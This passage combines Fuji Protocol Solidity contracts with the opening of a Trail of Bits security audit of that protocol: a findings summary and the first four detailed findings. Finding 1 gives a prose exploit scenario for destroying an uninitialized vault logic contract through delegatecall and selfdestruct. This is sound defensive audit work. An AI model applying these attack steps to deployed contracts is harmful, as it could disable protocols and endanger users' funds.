new uint256[](_userAddrs.length); uint256[] memory collateralIds = new uint256[](_userAddrs.length); // Build the required Arrays to query balanceOfBatch from f1155 for (uint256 i = 0; i < _userAddrs.length; i += 1) { collateralIds[i] = _vAssets.collateralID; borrowIds[i] = _vAssets.borrowID; } // Get user collateral and debt balances borrowBals = IERC1155(_f1155).balanceOfBatch(_userAddrs, borrowIds); uint256[] memory collateralBals = IERC1155(_f1155).balanceOfBatch(_userAddrs, collateralIds); uint256 neededCollateral; for (uint256 i = 0; i < _userAddrs.length; i += 1) { // Compute amount of min collateral required including factors neededCollateral = IVault(_vault).getNeededCollateralFor(borrowBals[i], true); // Check if User is liquidatable if (collateralBals[i] < neededCollateral) { // If true, add User debt balance to the total balance to be liquidated addrs[i] = _userAddrs[i]; debtTotal += borrowBals[i] + IVault(_vault).userProtocolFee(addrs[i]); } else { // set user that is not liquidatable to Zero Address addrs[i] = address(0); } } } /** * @dev Perform multi-batch burn of collateral * checking bonus paid to liquidator by each */ function _burnMulti( address[] memory _addrs, uint256[] memory _borrowBals, IVaultControl.VaultAssets memory _vAssets, address _vault, address _f1155 ) internal { uint256 bonusPerUser; uint256 collateralInPlayPerUser; for (uint256 i = 0; i < _addrs.length; i += 1) { if (_addrs[i] != address(0)) { bonusPerUser = IVault(_vault).getLiquidationBonusFor(_borrowBals[i]); collateralInPlayPerUser = _getCollateralInPlay( _vAssets.collateralAsset, _vAssets.borrowAsset, _borrowBals[i] + bonusPerUser ); IFujiERC1155(_f1155).burn(_addrs[i], _vAssets.borrowID, _borrowBals[i]); IFujiERC1155(_f1155).burn(_addrs[i], _vAssets.collateralID, collateralInPlayPerUser); } } } // Administrative functions /** * @dev Set Factors "a" and "b" for a Struct Factor flashcloseF * @param _newFactorA: Nominator * @param _newFactorB: Denominator */ function setFlashCloseFee(uint64 _newFactorA, uint64 _newFactorB) external isAuthorized { flashCloseF.a = _newFactorA; flashCloseF.b = _newFactorB; } /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) external isAuthorized { require(_newFujiAdmin != address(0), Errors.VL_ZERO_ADDR); _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Changes the Swapper contract address * @param _newSwapper: address of new swapper contract */ function setSwapper(address _newSwapper) external isAuthorized { require(_newSwapper != address(0), Errors.VL_ZERO_ADDR); swapper = IUniswapV2Router02(_newSwapper); } /** * @dev Changes the Oracle contract address * @param _newFujiOracle: address of new oracle contract */ function setFujiOracle(address _newFujiOracle) external isAuthorized { require(_newFujiOracle != address(0), Errors.VL_ZERO_ADDR); _oracle = IFujiOracle(_newFujiOracle); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol"; import "./interfaces/IFujiAdmin.sol"; import "./interfaces/ISwapper.sol"; contract Swapper is ISwapper { address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant SUSHI_ROUTER_ADDR = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; /** * @dev Called by the Vault to harvest farmed tokens at baselayer Protocols */ function getSwapTransaction( address assetFrom, address assetTo, uint256 amount ) external view override returns (Transaction memory transaction) { require(assetFrom != assetTo, "invalid request"); if (assetFrom == ETH && assetTo == WETH) { transaction.to = WETH; transaction.value = amount; transaction.data = abi.encodeWithSelector(IWETH.deposit.selector); } else if (assetFrom == WETH && assetTo == ETH) { transaction.to = WETH; transaction.data = abi.encodeWithSelector(IWETH.withdraw.selector, amount); } else if (assetFrom == ETH) { transaction.to = SUSHI_ROUTER_ADDR; address[] memory path = new address[](2); path[0] = WETH; path[1] = assetTo; transaction.value = amount; transaction.data = abi.encodeWithSelector( IUniswapV2Router01.swapExactETHForTokens.selector, 0, path, msg.sender, type(uint256).max ); } else if (assetTo == ETH) { transaction.to = SUSHI_ROUTER_ADDR; address[] memory path = new address[](2); path[0] = assetFrom; path[1] = WETH; transaction.data = abi.encodeWithSelector( IUniswapV2Router01.swapExactTokensForETH.selector, amount, 0, path, msg.sender, type(uint256).max ); } else if (assetFrom == WETH || assetTo == WETH) { transaction.to = SUSHI_ROUTER_ADDR; address[] memory path = new address[](2); path[0] = assetFrom; path[1] = assetTo; transaction.data = abi.encodeWithSelector( IUniswapV2Router01.swapExactTokensForTokens.selector, amount, 0, path, msg.sender, type(uint256).max ); } else { transaction.to = SUSHI_ROUTER_ADDR; address[] memory path = new address[](3); path[0] = assetFrom; path[1] = WETH; path[2] = assetTo; transaction.data = abi.encodeWithSelector( IUniswapV2Router01.swapExactTokensForTokens.selector, amount, 0, path, msg.sender, type(uint256).max ); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./interfaces/IFujiAdmin.sol"; import "./libraries/Errors.sol"; contract FujiAdmin is IFujiAdmin, OwnableUpgradeable { address private _flasher; address private _fliquidator; address payable private _ftreasury; address private _controller; address private _vaultHarvester; mapping(address => bool) public override validVault; address private _swapper; function initialize() external initializer { __Ownable_init(); } // Setter Functions /** * @dev Sets the flasher contract address * @param _newFlasher: flasher address */ function setFlasher(address _newFlasher) external onlyOwner { require(_newFlasher != address(0), Errors.VL_ZERO_ADDR); _flasher = _newFlasher; } /** * @dev Sets the fliquidator contract address * @param _newFliquidator: new fliquidator address */ function setFliquidator(address _newFliquidator) external onlyOwner { require(_newFliquidator != address(0), Errors.VL_ZERO_ADDR); _fliquidator = _newFliquidator; } /** * @dev Sets the Treasury contract address * @param _newTreasury: new Fuji Treasury address */ function setTreasury(address payable _newTreasury) external onlyOwner { require(_newTreasury != address(0), Errors.VL_ZERO_ADDR); _ftreasury = _newTreasury; } /** * @dev Sets the controller contract address. * @param _newController: controller address */ function setController(address _newController) external onlyOwner { require(_newController != address(0), Errors.VL_ZERO_ADDR); _controller = _newController; } /** * @dev Sets the VaultHarvester address * @param _newVaultHarverster: controller address */ function setVaultHarvester(address _newVaultHarverster) external onlyOwner { require(_newVaultHarverster != address(0), Errors.VL_ZERO_ADDR); _vaultHarvester = _newVaultHarverster; } /** * @dev Sets the Swapper address * @param _newSwapper: controller address */ function setSwapper(address _newSwapper) external onlyOwner { require(_newSwapper != address(0), Errors.VL_ZERO_ADDR); _swapper = _newSwapper; } /** * @dev Adds a Vault. * @param _vaultAddr: Address of vault to be added */ function allowVault(address _vaultAddr, bool _allowed) external onlyOwner { validVault[_vaultAddr] = _allowed; } // Getter Functions function getFlasher() external view override returns (address) { return _flasher; } function getFliquidator() external view override returns (address) { return _fliquidator; } function getTreasury() external view override returns (address payable) { return _ftreasury; } function getController() external view override returns (address) { return _controller; } function getVaultHarvester() external view override returns (address) { return _vaultHarvester; } function getSwapper() external view override returns (address) { return _swapper; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IFujiAdmin.sol"; import "./interfaces/IHarvester.sol"; contract VaultHarvester is IHarvester { /** * @dev Called by the Vault to harvest farmed tokens at baselayer Protocols * @param _farmProtocolNum: Number assigned to Protocol for farming */ function getHarvestTransaction(uint256 _farmProtocolNum, bytes memory _data) external view override returns (address claimedToken, Transaction memory transaction) { if (_farmProtocolNum == 0) { transaction.to = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; transaction.data = abi.encodeWithSelector( bytes4(keccak256("claimComp(address)")), msg.sender ); claimedToken = 0xc00e94Cb662C3520282E6f5717214004A7f26888; } else if (_farmProtocolNum == 1) { uint256 harvestType = abi.decode(_data, (uint256)); if (harvestType == 0) { // claim (, address[] memory assets) = abi.decode(_data, (uint256, address[])); transaction.to = 0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5; transaction.data = abi.encodeWithSelector( bytes4(keccak256("claimRewards(address[],uint256,address)")), assets, type(uint256).max, msg.sender ); } else if (harvestType == 1) { // transaction.to = 0x4da27a545c0c5B758a6BA100e3a049001de870f5; transaction.data = abi.encodeWithSelector(bytes4(keccak256("cooldown()"))); } else if (harvestType == 2) { // transaction.to = 0x4da27a545c0c5B758a6BA100e3a049001de870f5; transaction.data = abi.encodeWithSelector( bytes4(keccak256("redeem(address,uint256)")), msg.sender, type(uint256).max ); claimedToken = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9; } } } } // SPDX-License-Identifier: MIT //FujiMapping for two addresses pragma solidity ^0.8.0; import "./abstracts/claimable/Claimable.sol"; contract FujiMapping is Claimable { // Address 1 => Address 2 (e.g. erc20 => cToken, contract a L1 => contract b L2, etc) mapping(address => address) public addressMapping; // URI for mapping string public uri; /** * @dev Adds a two address Mapping * @param _addr1: key address for mapping (erc20, provider) * @param _addr2: result address (cToken, erc20) */ function setMapping(address _addr1, address _addr2) public onlyOwner { addressMapping[_addr1] = _addr2; } /** * @dev Sets a new URI for all token types, by relying on the token type ID */ function setURI(string memory newUri) public onlyOwner { uri = newUri; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./abstracts/claimable/Claimable.sol"; import "./interfaces/chainlink/AggregatorV3Interface.sol"; import "./interfaces/IFujiOracle.sol"; import "./libraries/Errors.sol"; contract FujiOracle is IFujiOracle, Claimable { // mapping from asset address to its price feed oracle in USD - decimals: 8 mapping(address => address) public usdPriceFeeds; constructor(address[] memory _assets, address[] memory _priceFeeds) Claimable() { require(_assets.length == _priceFeeds.length, Errors.ORACLE_INVALID_LENGTH); for (uint256 i = 0; i < _assets.length; i++) { usdPriceFeeds[_assets[i]] = _priceFeeds[i]; } } function setPriceFeed(address _asset, address _priceFeed) public onlyOwner { usdPriceFeeds[_asset] = _priceFeed; } /// @dev Calculates the exchange rate n given decimals (_borrowAsset / _collateralAsset Exchange Rate) /// @param _collateralAsset the collateral asset, zero-address for USD /// @param _borrowAsset the borrow asset, zero-address for USD /// @param _decimals the decimals of the price output /// @return price The exchange rate of the given assets pair function getPriceOf( address _collateralAsset, address _borrowAsset, uint8 _decimals ) external view override returns (uint256 price) { price = 10**uint256(_decimals); if (_borrowAsset != address(0)) { price = price * _getUSDPrice(_borrowAsset); } else { price = price * (10**8); } if (_collateralAsset != address(0)) { price = price / _getUSDPrice(_collateralAsset); } else { price = price / (10**8); } } /// @dev Calculates the USD price of asset /// @param _asset the asset address /// @return price USD price of the give asset function _getUSDPrice(address _asset) internal view returns (uint256 price) { require(usdPriceFeeds[_asset] != address(0), Errors.ORACLE_NONE_PRICE_FEED); (, int256 latestPrice, , , ) = AggregatorV3Interface(usdPriceFeeds[_asset]).latestRoundData(); price = uint256(latestPrice); } }
F u j i P r o t o c o l S e c u r i t y A s s e s s me n t October 25, 2021 Prepared for: Daigaro Cota Fuji Protocol Edgar Moreau Fuji Protocol Boyan Barakovu Fuji Protocol Prepared by: Maximilian Krüger and Devashish Tomar A b o u t T r a i l o f B i t s Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world’s most targeted organizations. We combine high- end security research with a real -world attacker mentality to reduce risk and fortify code. With 80+ employees around the globe, we’ve helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel. We maintain an exhaustive list of publications at https://github.com/trailofbits/publications , with links to papers, presentations, public audit reports, and podcast appearances. In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O’Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. Trail of Bits also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash. To keep up to date with our latest news and announcements, please follow @trailofbits on Twitter and explore our public repositories at https://github.com/trailofbits . To engage us directly, visit our “Contact” page at https://www.trailofbits.com/contact , or email us at info@trailofbits.com . Trail of Bits, Inc. 228 Park Ave S #80688 New York, NY 10003 https://www.trailofbits.com info@trailofbits.com T r a i l o f B i t s 1 Fuji Protocol C O N F I D E N T I A L N o t i c e s a n d R e m a r k s C l a s s i fi c a t i o n a n d C o p y r i g h t This report is confidential and intended for the sole internal use of Fuji Protocol. T e s t C o v e r a g e D i s c l a i m e r All activities undertaken by Trail of Bits in association with this project were performed in accordance with a statement of work and mutually agreed upon project plan. Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As such, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase. T r a i l o f B i t s 2 Fuji Protocol C O N F I D E N T I A L T a b l e o f C o n t e n t s About Trail of Bits 1 Notices and Remarks 2 Table of Contents 2 Project Summary 9 Project Targets 10 Project Coverage 11 Codebase Maturity Evaluation 12 Summary of Findings 15 Detailed Findings 17 1. Anyone can destroy the FujiVault logic contract if its initialize function was not called during deployment 17 2. Providers are implemented with delegatecall 19 3. Lack of contract existence check on delegatecall will result in unexpected 20 4. FujiVault.setFactor is unnecessarily complex and does not properly handle invalid input 23 5. Preconditions specified in docstrings are not checked by functions 25 6. The FujiERC1155.burnBatch function implementation is incorrect 27 7. Error in the white paper’s equation for the cost of refinancing 29 8. Errors in the white paper’s equation for index calculation 30 9. FujiERC1155.setURI does not adhere to the EIP-1155 specification 32 10. Partial refinancing operations can break the protocol 33 11. Native support for ether increases the codebase’s complexity 34 12. Missing events for critical operations 35 13. Indexes are not updated before all operations that require up-to-date indexes 36 14. No protection against missing index updates before operations that depend on up-to-date indexes 37 T r a i l o f B i t s 3 Fuji Protocol C O N F I D E N T I A L 15. Formula for index calculation is unnecessarily complex 38 16. Flasher’s initiateFlashloan function does not revert on invalid flashnum values 40 17. Docstrings do not reflect functions’ implementations 41 18. Harvester’s getHarvestTransaction function does not revert on invalid _farmProtocolNum and harvestType values 42 19. Lack of data validation in Controller’s doRefinancing function 44 20. Lack of data validation on function parameters 45 21. Solidity compiler optimizations can be problematic 46 A. Vulnerability Categories 47 B. Code Maturity Categories 49 C. Token Integration Checklist 51 E. Code Quality Recommendations 54 F. Index Construction for Interest Calculation 56 G. Handling Key Material 58 H. Fix Log 59 T r a i l o f B i t s 4 Fuji Protocol C O N F I D E N T I A L O v e r v i e w Fuji Protocol engaged Trail of Bits to review the security of its smart contracts. From October 4 to October 22, 2021, a team of two consultants conducted a security review of the client-provided source code, with six person-weeks of effort. Details of the project’s timeline, test targets, and coverage are provided in subsequent sections of this report. P r o j e c t S c o p e We focused our testing efforts on the identification of flaws that could result in a compromise or lapse of confidentiality, integrity, or availability of the target system. We performed automated testing and a manual review of the code, in addition to running system elements. S u m m a r y o f F i n d i n g s Our review resulted in four high-severity, two medium-severity, six low-severity, and nine informational-severity issues. E X P O S U R E A N A L Y S I S Severity Count High 4 Medium 2 Low 6 Informational 9 Undetermined 0 C A T E G O R Y B R E A K D O W N Category Count Denial of service 1 Data Validation 6 Arithmetic 4 Auditing and Logging 2 Undefined Behavior 8 T r a i l o f B i t s 5 Fuji Protocol C O N F I D E N T I A L P r o j e c t S u m m a r y C o n t a c t I n f o r m a t i o n The following managers were associated with this project: Dan Guido , Account Manager Mary O' Brien , Project Manager dan.guido@trailofbits.com mary.obrien@trailofbits.com The following engineers were associated with this project: Maximilian Krüger , Consultant Devashish Tomar , Consultant max.kruger@trailofbits.com devashish.tomar@trailofbits.com P r o j e c t T i m e l i n e The significant events and milestones of the project are listed below. Date Event September 30, 2021 Project pre-kickoff call October 12, 2021 Status update meeting #1 October 18, 2021 Status update meeting #2 October 25, 2021 Delivery of report draft October 25, 2021 Report readout meeting December 3, 2021 Fix Log added ( Appendix H ) T r a i l o f B i t s 6 Fuji Protocol C O N F I D E N T I A L P r o j e c t T a r g e t s The engagement involved a review and testing of the targets listed below. F u j i P r o t o c o l Repository https://github.com/Fujicracy/fuji-protocol Version 933ea57b11889d87744efa23e95c90b7bf589402 Type Solidity Platform Ethereum T r a i l o f B i t s 7 Fuji Protocol C O N F I D E N T I A L P r o j e c t C o v e r a g e This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches and their results include the following: FujiVault . Users interact with the Fuji Protocol through the FujiVault contract. With this contract, users can deposit and withdraw collateral and borrow and repay loans. For each collateral and borrowed asset pair, a FujiVault contract is deployed. Controller . By calling doRefinance on the Controller contract, executors can start refinancing operations, which move collateral and debt to another borrowing protocol. FLiquidator . Through the FLiquidator contract, users can liquidate undercollateralized positions within the Fuji Protocol. FujiBaseERC1155 . This contract is a base class for the FujiERC1155 contract and is responsible for implementing the core ERC-1155 functionality. We checked that the ERC-1155 specification is correctly implemented. FujiERC1155 . This contract is the main accounting system of the Fuji Protocol. It keeps track of the debt and collateral balances for each user on each vault. We focused on the implementation of the index functionality, which is further described in Appendix F . F1155Manager . This contract is a base class for the FujiERC1155 contract. It allows the owner to grant permission to other addresses to call permissioned functions on the contract. We checked the correctness of the permissioning functionality. Flasher . This contract is responsible for taking out flash loans from Aave, DyDx, and Cream. The loans are then used to move debt and collateral from one provider to another. VaultControlUpgradeable . This contract is a base class for FujiVault . It allows admins to pause and resume the FujiVault contract. We checked the correctness of the pausing functionality. VaultBaseUpgradeable . This contract is a base class for FujiVault . It provides functions that delegate calls to the given provider. FujiAdmin . The FujiAdmin contract allows the owner to set a number of global addresses, such as the flasher, liquidator, and controller. These addresses are used by other contracts, such as the Flasher . The contract also maintains a whitelist of allowed vaults. We mainly focused on checking the correctness of the access controls. T r a i l o f B i t s 8 Fuji Protocol C O N F I D E N T I A L C o d e b a s e M a t u r i t y E v a l u a t i o n Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs. Category Summary Result Access Controls We found no issues related to access controls. However, the protocol depends heavily on privileged operations, and there are no tests that highlight every access scenario. Moderate Arithmetic The codebase consistently uses Solidity 0.8’s safe math throughout. We found two errors in the arithmetic described in the Fuji Protocol white paper ( TOB-FUJI-007 , TOB-FUJI-008 ). We also found a high-severity issue related to the use of unscaled values in certain index calculations ( TOB-FUJI-006 ). Moderate Assembly Use/Low-Level Calls We found only one instance of assembly. However, this instance is complex and not sufficiently documented. The use of low-level operations is also limited. We found an unnecessary use of delegatecall to call providers, which resulted in a high-severity finding ( TOB-FUJI-001 ). Moderate Code Stability The code underwent frequent changes before the audit but was stable during the audit. However, there are leftover to-do comments throughout the codebase. Moderate Decentralization Currently, a small number of admin externally owned accounts (EOAs) owned by the Fuji Protocol team have nearly total control over the protocol. This results in a centralized system, requiring users to trust a single entity. Weak T r a i l o f B i t s 9 Fuji Protocol C O N F I D E N T I A L Upgradeability The Fuji Protocol team generally follows standard practices in using OpenZeppelin’s upgradeable contracts, and the system uses the hardhat-upgrades plug-in. However, the use of delegatecall from assembly within a logic contract to explicitly work around hardhat-upgrades ’s protections resulted in one high-severity finding ( TOB-FUJI-001 ). Moderate Function Composition The code is reasonably well structured. The functions have clear, narrow purposes, and critical functions can be easily extracted for testing. Satisfactory Front-Running We did not find any issues related to front-running. However, we did not exhaustively check the protocol for front-running opportunities. Further investigation required Key Management Admin accounts have permission to upgrade nearly all contracts and aspects of the protocol. The Fuji Protocol team informed us that the admin accounts are multisignature wallets whose signing keys are stored in hot wallets owned by Fuji Protocol team members. Moderate Monitoring Many critical administrative functions do not emit events on important state changes ( TOB-FUJI-012 ), making off-chain monitoring difficult to conduct. Additionally, the Fuji Protocol team informed us that they do not have an incident response plan and that off-chain components like Tenderly or Defender are currently not used to monitor on-chain activity. Weak Specification The white paper is readable and provides a good overview of the protocol. However, we found two incorrect equations in the white paper. Additionally, the liquidation process of the protocol is underspecified: the white paper provides only a brief explanation of liquidation. While some parts of the codebase have appropriate inline comments, other parts are missing them. Moreover, some docstrings do not match their corresponding functions’ implementations. Moderate T r a i l o f B i t s 10 Fuji Protocol C O N F I D E N T I A L Testing and Verification The codebase contains integration tests for the most common operations. Unit tests and continuous integration are missing entirely. Weak T r a i l o f B i t s 11 Fuji Protocol C O N F I D E N T I A L S u m m a r y o f F i n d i n g s The table below summarizes the findings of the review, including type and severity details. ID Title Type Severity 1 Anyone can destroy the FujiVault logic contract if its initialize function was not called during deployment Denial of Service High 2 Providers are implemented with delegatecall Undefined Behavior Informational 3 Lack of contract existence check on delegatecall will result in unexpected behavior Data Validation High 4 FujiVault.setFactor is unnecessarily complex and does not properly handle invalid input Undefined Behavior Informational 5 Preconditions specified in docstrings are not checked by functions Data Validation Informational 6 The FujiERC1155.burnBatch function implementation is incorrect Arithmetic High 7 Error in the white paper’s equation for the cost of refinancing Arithmetic Informational 8 Errors in the white paper’s equation for index calculation Arithmetic Medium 9 FujiERC1155.setURI does not adhere to the EIP-1155 specification Auditing and Logging Informational 10 Partial refinancing operations can break the protocol Undefined Behavior Medium 11 Native support for ether increases the codebase’s complexity Undefined Behavior Informational T r a i l o f B i t s 12 Fuji Protocol C O N F I D E N T I A L 12 Missing events for critical operations Auditing and Logging Low 13 Indexes are not updated before all operations that require up-to-date indexes Undefined Behavior High 14 No protection against missing index updates before operations that depend on up-to-date indexes Undefined Behavior Informational 15 Formula for index calculation is unnecessarily complex Arithmetic Informational 16 Flasher’s initiateFlashloan function does not revert on invalid flashnum values Data Validation Low 17 Docstrings do not reflect functions’ implementations Undefined Behavior Low 18 Harvester’s getHarvestTransaction function does not revert on invalid _farmProtocolNum and harvestType values Data Validation Low 19 Lack of data validation in Controller’s doRefinancing function Data Validation Low 20 Lack of data validation on function parameters Data Validation Low 21 Solidity compiler optimizations can be problematic Undefined Behavior Informational T r a i l o f B i t s 13 Fuji Protocol C O N F I D E N T I A L D e t a i l e d F i n d i n g s 1 . A n y o n e c a n d e s t r o y t h e F u j i V a u l t l o g i c c o n t r a c t i f i t s i n i t i a l i z e f u n c t i o n w a s n o t c a l l e d d u r i n g d e p l o y m e n t Severity: High Difficulty: Medium Type: Denial of Service Finding ID: TOB-FUJI-001 Target: FujiVault.sol D e s c r i p t i o n Anyone can destroy the FujiVault logic contract if its initialize function has not already been called. Calling initialize on a logic contract is uncommon, as usually nothing is gained by doing so. The deployment script does not call initialize on any logic contract. As a result, the exploit scenario detailed below is possible after deployment. This issue is similar to a bug in AAVE that Trail of Bits found in 2020. OpenZeppelin’s hardhat-upgrades plug-in protects against this issue by disallowing the use of selfdestruct or delegatecall on logic contracts. However, the Fuji Protocol team has explicitly worked around these protections by calling delegatecall in assembly, which the plug-in does not detect. E x p l o i t S c e n a r i o The Fuji contracts are deployed, but the initialize functions of the logic contracts are not called. Bob, an attacker, deploys a contract to the address alwaysSelfdestructs , which simply always executes the selfdestruct opcode. Additionally, Bob deploys a contract to the address alwaysSucceeds , which simply never reverts. Bob calls initialize on the FujiVault logic contract, thereby becoming its owner. To make the call succeed, Bob passes 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE as the value for the _collateralAsset and _borrowAsset parameters. He then calls FujiVaultLogic.setActiveProvider(alwaysSelfdestructs) , followed by FujiVault.setFujiERC1155(alwaysSucceeds) to prevent an additional revert in the next and final call. Finally, Bob calls FujiVault.deposit(1) , sending 1 wei. This triggers a delegatecall to alwaysSelfdestructs , thereby destroying the FujiVault logic contract and making the protocol unusable until its proxy contract is upgraded. T r a i l o f B i t s 14 Fuji Protocol C O N F I D E N T I A L Because OpenZeppelin’s upgradeable contracts do not check for a contract’s existence before a delegatecall ( TOB-FUJI-003 ), all calls to the FujiVault proxy contract now succeed. This leads to exploits in any protocol integrating the Fuji Protocol. For example, a call that should repay all debt will now succeed even if no debt is repaid. R e c o m m e n d a t i o n s Short term, do not use delegatecall to implement providers. See TOB-FUJI-002 for more information. Long term, avoid the use of delegatecall , as it is difficult to use correctly and can introduce vulnerabilities that are hard to detect. T r a i l o f B i t s 15 Fuji Protocol C O N F I D E N T I A L 2 . P r o v i d e r s a r e i m p l e m e n t e d w i t h d e l e g a t e c a l l Severity: Informational Difficulty: Undetermined Type: Undefined Behavior Finding ID: TOB-FUJI-002 Target: FujiVault.sol , providers D e s c r i p t i o n The system uses delegatecall to execute an active provider's code on a FujiVault , making the FujiVault the holder of the positions in the borrowing protocol. However, delegatecall is generally error-prone, and the use of it introduced the high-severity finding TOB-FUJI-001 . It is possible to make a FujiVault the holder of the positions in a borrowing protocol without using delegatecall . Most borrowing protocols include a parameter that specifies the receiver of tokens that represent a position. For borrowing protocols that do not include this type of parameter, tokens can be transferred to the FujiVault explicitly after they are received from the borrowing protocol; additionally, the tokens can be transferred from the FujiVault to the provider before they are sent to the borrowing protocol. These solutions are conceptually simpler than and preferred to the current solution. R e c o m m e n d a t i o n s Short term, implement providers without the use of delegatecall . Set the receiver parameters to the FujiVault , or transfer the tokens corresponding to the position to the FujiVault . Long term, avoid the use of delegatecall , as it is difficult to use correctly and can introduce vulnerabilities that are hard to detect. T r a i l o f B i t s 16 Fuji Protocol C O N F I D E N T I A L 3 . L a c k o f c o n t r a c t e x i s t e n c e c h e c k o n d e l e g a t e c a l l w i l l r e s u l t i n u n e x p e c t e d b e h a v i o r Severity: High Difficulty: High Type: Data Validation Finding ID: TOB-FUJI-003 Target: VaultControlUpgradeable.sol , Proxy.sol D e s c r i p t i o n The VaultControlUpgradeable and Proxy contracts use the delegatecall proxy pattern. If the implementation contract is incorrectly set or self-destructed, the contract may not be able to detect failed executions. The VaultControlUpgradeable contract includes the _execute function, which users can invoke indirectly to execute a transaction to a _target address. This function does not check for contract existence before executing the delegatecall (figure 3.1). /** * @dev Returns byte response of delegatcalls */ function _execute ( address _target , bytes memory _data) internal whenNotPaused returns ( bytes memory response) { /* solhint-disable */ assembly { let succeeded := delegatecall(sub(gas(), 5000 ), _target, add(_data, 0x20 ), mload(_data), 0 , 0 ) let size := returndatasize() response := mload( 0x40 ) mstore( 0x40 , add(response, and(add(add(size, 0x20 ), 0x1f ), not( 0x1f )))) mstore(response, size) returndatacopy(add(response, 0x20 ), 0 , size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20 ), size) } } /* solhint-disable */ } T r a i l o f B i t s 17 Fuji Protocol C O N F I D E N T I A L Figure 3.1: fuji-protocol/contracts/abstracts/vault/VaultBaseUpgradeable.sol#L93-L11 5 The Proxy contract, deployed by the @openzeppelin/hardhat-upgrades library, includes a payable fallback function that invokes the _delegate function when proxy calls are executed. This function is also missing a contract existence check (figure 3.2). /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate ( address implementation ) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy( 0 , 0 , calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0 , calldatasize(), 0 , 0 ) // Copy the returned data. returndatacopy( 0 , 0 , returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert( 0 , returndatasize()) } default { return ( 0 , returndatasize()) } } } Figure 3.2: Proxy.sol#L16-L41 A delegatecall to a destructed contract will return success (figure 3.3). Due to the lack of contract existence checks, a series of batched transactions may appear to be successful even if one of the transactions fails. The low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed. Figure 3.3: A snippet of the Solidity documentation detailing unexpected behavior related to delegatecall E x p l o i t S c e n a r i o Eve upgrades the proxy to point to an incorrect new implementation. As a result, each T r a i l o f B i t s 18 Fuji Protocol C O N F I D E N T I A L delegatecall returns success without changing the state or executing code. Eve uses this to scam users. R e c o m m e n d a t i o n s Short term, implement a contract existence check before any delegatecall . Document the fact that suicide and selfdestruct can lead to unexpected behavior, and prevent future upgrades from using these functions. Long term, carefully review the Solidity documentation , especially the “Warnings” section, and the pitfalls of using the delegatecall proxy pattern. R e f e r e n c e s ● Contract Upgrade Anti-Patterns ● Breaking Aave Upgradeability T r a i l o f B i t s 19 Fuji Protocol C O N F I D E N T I A L 4 . F u j i V a u l t . s e t F a c t o r i s u n n e c e s s a r i l y c o m p l e x a n d d o e s n o t p r o p e r l y h a n d l e i n v a l i d i n p u t Severity: Informational Difficulty: Undetermined Type: Undefined Behavior Finding ID: TOB-FUJI-004 Target: FujiVault.sol D e s c r i p t i o n The FujiVault contract’s setFactor function sets one of four state variables to a given value. Which state variable is set depends on the value of a string parameter. If an invalid value is passed, setFactor succeeds but does not set any of the state variables. This creates edge cases, makes writing correct code more difficult, and increases the likelihood of bugs. function setFactor ( uint64 _newFactorA , uint64 _newFactorB , string calldata _type ) external isAuthorized { bytes32 typeHash = keccak256 (abi.encode(_type)); if (typeHash == keccak256 (abi.encode( "collatF" ))) { collatF.a = _newFactorA; collatF.b = _newFactorB; } else if (typeHash == keccak256 (abi.encode( "safetyF" ))) { safetyF.a = _newFactorA; safetyF.b = _newFactorB; } else if (typeHash == keccak256 (abi.encode( "bonusLiqF" ))) { bonusLiqF.a = _newFactorA; bonusLiqF.b = _newFactorB; } else if (typeHash == keccak256 (abi.encode( "protocolFee" ))) { protocolFee.a = _newFactorA; protocolFee.b = _newFactorB; } } Figure 4.1: FujiVault.sol#L475-494 E x p l o i t S c e n a r i o A developer on the Fuji Protocol team calls setFactor from another contract. He passes a type that is not handled by setFactor . As a result, code that is expected to set a state variable does nothing, resulting in a more severe vulnerability. T r a i l o f B i t s 20 Fuji Protocol 